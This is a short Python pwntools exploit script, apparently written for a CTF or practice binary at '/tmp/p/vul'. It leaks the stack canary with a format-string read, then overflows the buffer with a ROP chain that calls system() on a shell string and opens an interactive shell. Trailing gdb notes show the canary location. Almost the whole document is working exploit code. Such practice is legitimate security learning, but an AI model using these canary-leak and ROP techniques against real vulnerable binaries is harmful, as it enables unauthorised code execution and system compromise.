#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'
r = process('/tmp/p/vul')

pop_rdi_ret = 0x0000000000400903
sh = 0x400928
system = 0x000000000400630
print r.recvuntil('prompt>')
r.sendline(str('%11$lx'))
canary = int(r.recvline().strip(),16)
print "canary: ",hex(canary)

payload = "a"*24 + flat([canary, 0, pop_rdi_ret, sh, system])
r.sendline(payload)

print r.recvrepeat(0.2)

r.sendline('quit')
r.interactive()

"""
%8$lx
gdb-peda$ x/gx $rbp-0x8
0x7fffffffe2b8: 0xa088184acb840200 << canary
0x295f56c1de2f4100

"""